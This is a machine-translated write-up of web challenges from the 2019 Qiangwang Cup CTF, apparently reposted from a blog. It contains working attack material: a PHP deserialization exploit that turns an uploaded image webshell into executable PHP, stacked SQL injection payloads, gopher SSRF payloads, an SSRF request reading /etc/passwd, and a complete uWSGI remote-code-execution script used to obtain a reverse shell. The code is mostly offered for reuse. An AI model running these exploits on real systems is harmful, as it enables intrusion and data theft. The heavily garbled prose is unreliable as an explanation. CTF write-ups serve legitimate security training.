2019 Strong Net Cup title and problem-solving ideas of the Web

0x01 upload

Source files scanned: www.tar.gz , so This question is mainly code audit work, the site's main function code: application \ web, vulnerabilities trigger point Porfile

if($this->ext) {    if(getimagesize($this->filename_tmp)) {
    @copy($this->filename_tmp, $this->filename);
    @unlink($this->filename_tmp);   
    $this->img="../upload/$this->upload_menu/$this->filename";  
    $this->update_img();    
}
else{
    $this->error('Forbidden type!', url('../index'));
    }
}
else{   
        $this->error('Unknow file type!', url('../index'));
}

That is if ext, then 1, it will perform the copy operation, the original uploaded file copy rename the filename, so the use of logic is to upload a picture Trojan horse, and then starting a copy renamed .php file on the line.

After logging in to the cookie file INDEX.php anti-serialization operation in Register class is instantiated Profile class, so the final exploits logic:

  1. Register an account, login to upload a picture Trojans.
  2. Configuration serialization Register instantiated, the instantiated Profile <br> Register, is set to the ext 1, filename_tmp to upload pictures address, filename php set name, set the except array ( 'index' => 'upload_img').
  3. Login account, modify the cookie is base64 encoded structure and sequence of the output data, direct request triggers can trigger the vulnerability.

Here directly attached to exp

<?php
namespace app\web\controller;
//include('Index.php');

class Index{}

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $ext;
    public $except;

    public function upload_img(){
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}


class Register
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}

$check = new Register();
$check->registed=0;
$check->checker=new Profile();
$check->checker->except=array('index'=>'upload_img');
$check->checker->ext=1;
$check->checker->filename_tmp="./upload/da5703ef349c8b4ca65880a05514ff89/0412c29576c708cf0155e8de242169b1.png";
$check->checker->filename="./upload/da5703ef349c8b4ca65880a05514ff89/0412c29576c708cf0155e8de242169b1.php";
$payload = base64_encode(serialize($check));
print_r($payload);

After the success of the direct use of the jpg file copy for the php file, it can trigger a word Trojan (I do not know why I want to pass a 601K file, run the card to fly)

8418106-198f997db8417b65
Changes are complete

8418106-99541919517273a6
image

This topic will be environmental issues, coupled with my local namespace environment Diudiu a problem, I successfully lost 2 4 Blood took the blood, uncomfortable.

0x02 clever hackers

Download www.tar.gz later found to be more than 3,000 "Trojan horse" file, simply look at the audit found that although there are many places of command, but before you have to GET or POST parameters assigned a null value, plus the constant false or if the judgment is that the case could not find the time and certainly not the way of each to see it, and thus wrote a script to extract each file GET, POST parameters that may be passed assert and eval or passing the system and the anti-quotes, using a local test whether the command is determined, finally found a use of the shell during testing of parameters in gET and obtaining parameters which are directly executed command, to show their own operations are . Posted here under this ran the script (Very easy, he wrote several run together)

import requests
import re
import os
from time import sleep
flies = os.listdir('./src')
for i in flies:
    url = 'http://127.0.0.1/src/'+i
    f = open('./src/'+i)
    data = f.read()
    f.close()
    reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')
    params = reg.findall(data)
    for j in params:    
        payload = url + '/?' + j + '=echo 123456123456123456123456'
        print payload
        req=requests.get(payload)
        if '123456123456123456123456' in req.content:
            print payload
            exit();

8418106-385ff2ec17cdd5b4
I ran out - - ..

Take immediate environment cat /flag under the like, and finally picked up a sixth solution of this problem positive solution is to call PHP dynamic analysis, no longer introduced
8418106-af195b540775b21d
flag

0x03 casual note

Titles such as described, is injected into a problem (note not come out when once suspected topic name is not the full name, casual note, anyway, you note does not come out), Fuzz look, you can find the filtering rules return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);it is not through and select '' to meter reading and data mean slightly, but it can be injected by the error database name (supersqli), user information (it really is a casual note), the execution of SQL statements must be select * from supersqli.table_name where id='' ;after some clouds and rain tests to determine that this is a stacking injection, is the ability to execute multiple sql statement one time,

’;show tables from supersqli;#

Get all the table, another table name is 1919810931114514

’;show cloumns from 1919810931114514;#

1919810931114514 got all the column names in the table, which contains the flag column, thinking that the last operation, the table 1919810931114514 renamed words, so you can still get the content flag of inquiry in the case of a background SQL statement is unchanged, into words have changed before the first other words, if a one execution, that subject was changed completely collapse words, it performs as a stack, is inserted in one operation in the id column 1919810931114514, renamed words, words 1919810931114514 to, the following payload:

';ALTER TABLE `1919810931114514` ADD `id` INT(1) NOT NULL DEFAULT '1' AFTER `flag`;%23';alter+table+`1919810931114514`+rename+to+`xxx`;alter+table+`words`+rename+to+`zzz`;alter+table+`xxx`+rename+to+`words`;

You can get direct access to the contents of the original 1919810931114514 table, which is a flag.

8418106-97f586831178c4a6
image

0x04 single

thinkphp5.0. * arbitrary code execution, EXP like a shuttle

8418106-547a629c6d103376
image

0x05 smart locks

(He did not chart, Pirates of the W & M Big Brother Figure)
this idea during the competition in question was brought wrong, here to write about the operation. In the beginning of the school that got an unexpected flow of a package, the question people are not added forbidden, so access to the uploads when directly listed, because the school did ip restrictions,


8418106-53605ba2d1bf6418
IP restrictions

8418106-0707e17ce211140a
Setting client

So when entering the school needs to be set clint-ip visit was to get the flow of packets because of the time ahead, do not know dim ...... (although later do not know dim), by analyzing traffic we know that the IP packet data ports and also sent locks.


8418106-591b16b6c207cc57
flow

And when entering the demo, you can see the address to download the firmware v2, but they suggested that fixes vulnerabilities v2, v1 mean to say that there is a hole on the download link v1 to v2 can be downloaded into the v1, so meaning that hate slightly firmware, download the file to change the suffix zip, which is a hex file, some clouds and rain, on the web dogs too difficult, but we have a flow of the package v1, v1 and v2 traffic should be open Like, we just change the version number on the line, if you can time stamp tamper locks can be played, and where the signature method is the presence of a hash length extension attack. We take direct traffic packet inside a packet synchronization time cut to be extended attack, so the payload is
/get_info.php?url=gopher://10.2.3.103:2333/_%26%02%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%00%00%12
/get_info.php?url=gopher://10.2.3.103:2333/_%AC%02%B5%5E%97%0E%D5%8B%92%3F%2C%27%02%BD%C8%87%1B%5E%22%3B%BA%B8%A2%EA%6B%4C%72%BD%D4%9D%6D%4D%4F%CF%5C%CB%DA%D1%10%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%04%66%2D%38%22
/get_info.php?url=gopher://10.2.3.103:2333/_%28%02%70%C8%96%BB%5A%A8%44%F8%48%CD%EE%8C%05%42%BF%43%8D%3C%8A%A7%E4%3B%D0%9C%E4%E4%35%1D%B0%00%E7%FF%5C%CB%DA%D2%20%01%F0

babywebbb

This problem start on the wrong road (dead), a certificate written 52dandan.xyz , last year 52dandan.cc , so it must be a penetration title in www.52dandan.xyz sweeping wave on the right to found a variety of mention script, I thought it was to hate under www.52dandan.xyz , including the network of subject ...... then
the next day I realized that not www.52dandan.xyz , is qqwwwwbbbb.52dandan.xyz ..... so the next time change hosts can access to the title, and pre-sweep port 873 is open, there is just rsync leaks, which can be downloaded to qqwwwwbbbb.52dandan.xyz source on the analysis of the source code where the API service exists graphQL injection , can directly use the universal password login and user.py have operations on the system, it can be directly ssrf

user.route('/newimg', methods=['POST','GET'])
@login_required
def test():
    url = unquote(request.form.get('newurl'))
    if re.match("^[A-Za-z0-9-_%:./]*$",url):
        filename = ramdom_str()
        command = "curl {} > /tmp/{}".format(url, filename)
        os.system(command)
        with open("/tmp/{}".format(filename),"rb") as res:
            res_data = res.read()
            res_data = base64.b64encode(res_data)
            return res_data
    return ""

Therefore, the injection under construction sign in, and then ssrf wave can read files

URL:https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg
POST:newurl=file://etc/passwd

After reading nigix know the server configuration file with uwsgi Service


8418106-eaaba9cc243d97a9
nigix Configuration

There uwsgi of RCE scripts on github

#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: [email protected]
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose

import sys
import socket
import argparse
import requests
import urllib

def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    if sys.version_info[0] == 3: import bytes
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]


def pack_uwsgi_vars(var):
    pk = b''
    for k, v in var.items() if hasattr(var, 'items') else var:
        pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
    result = b'\x00' + sz(pk) + b'\x00' + pk
    # print(urlencode(result))
    return result


def parse_addr(addr, default_port=None):
    port = default_port
    if isinstance(addr, str):
        if addr.isdigit():
            addr, port = '', addr
        elif ':' in addr:
            addr, _, port = addr.partition(':')
    elif isinstance(addr, (list, tuple, set)):
        addr, port = addr
    port = int(port) if port else port
    return (addr or '127.0.0.1', port)


def get_host_from_url(url):
    if '//' in url:
        url = url.split('//', 1)[1]
    host, _, url = url.partition('/')
    return (host, '/' + url)


def fetch_data(uri, payload=None, body=None):
    if 'http' not in uri:
        uri = 'http://' + uri
    s = requests.Session()
    # s.headers['UWSGI_FILE'] = payload
    if body:
        import urlparse
        body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
        d = s.post(uri, data=body_d)
    else:
        d = s.get(uri)

    return {
        'code': d.status_code,
        'text': d.text,
        'header': d.headers
    }


def ask_uwsgi(addr_and_port, mode, var, body=''):
    if mode == 'tcp':
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(parse_addr(addr_and_port))
    elif mode == 'unix':
        s = socket.socket(socket.AF_UNIX)
        s.connect(addr_and_port)
    tmp = (pack_uwsgi_vars(var) + body.encode('utf8'))
    tmp=urllib.quote(tmp)
    print(tmp)
    s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
    response = []
    # Actually we dont need the response, it will block if we run any commands.
    # So I comment all the receiving stuff. 
    # while 1:
    #     data = s.recv(4096)
    #     if not data:
    #         break
    #     response.append(data)
    s.close()
    return b''.join(response).decode('utf8')


def curl(mode, addr_and_port, payload, target_url):
    host, uri = get_host_from_url(target_url)
    path, _, qs = uri.partition('?')
    if mode == 'http':
        return fetch_data(addr_and_port+uri, payload)
    elif mode == 'tcp':
        host = host or parse_addr(addr_and_port)[0]
    else:
        host = addr_and_port
    var = {
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'REQUEST_METHOD': 'GET',
        'PATH_INFO': path,
        'REQUEST_URI': uri,
        'QUERY_STRING': qs,
        'SERVER_NAME': host,
        'HTTP_HOST': host,
        'UWSGI_FILE': payload,
        'SCRIPT_NAME': target_url
    }
    return ask_uwsgi(addr_and_port, mode, var)


def main(*args):
    desc = """
    This is a uwsgi client & RCE exploit.
    Last modifid at 2018-01-30 by [email protected]
    """
    elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
    
    parser = argparse.ArgumentParser(description=desc, epilog=elog)

    parser.add_argument('-m', '--mode', nargs='?', default='tcp',
                        help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
                        dest='mode', choices=['http', 'tcp', 'unix'])

    parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
                        help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
                        dest='uwsgi_addr')

    parser.add_argument('-c', '--command', nargs='?', required=True,
                        help='Command: The exploit command you want to execute, must have this.',
                        dest='command')

    if len(sys.argv) < 2:
        parser.print_help()
        return
    args = parser.parse_args()
    if args.mode.lower() == "http":
        print("[-]Currently only tcp/unix method is supported in RCE exploit.")
        return
    payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
    # print(payload)
    print("[*]Sending payload.")
    print payload
    print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))

if __name__ == '__main__':
    main()

Print out gohper, hit by a wave of ssrf operating ports like 3031 with a rebound shell python, you can get a shell (Pirates continue bertram map)


8418106-a4b2af8b04d85f1d
gopher

8418106-914eeb834f1b33b6
image

Suggesting socks proxy, a wave swept found 172.16.17.4 1080 port, so the agent to be like, ew chefs are used. This is not introduced, forwarded out on a direct hit with the public good, and finally announced the official source network services, including network when in fact, has a way of setting up the various chefs, like direct Chaozuo Ye, 2333, the implementation process should be yes (to change bertram statements), construction deserialization payload
the User 1 -> POST / adduser username = payload & password =
the User 1 -> / savelog modify User2 the session
the User 2 -> Log trigger deserialization
the User 2 -> getflag
(last I did not test, kick and ran the road, and was own vegetables crying)

0x06 babywp

webpwn, determined to give up, look like an official WP

Guess you like

Origin blog.csdn.net/weixin_33853794/article/details/91011292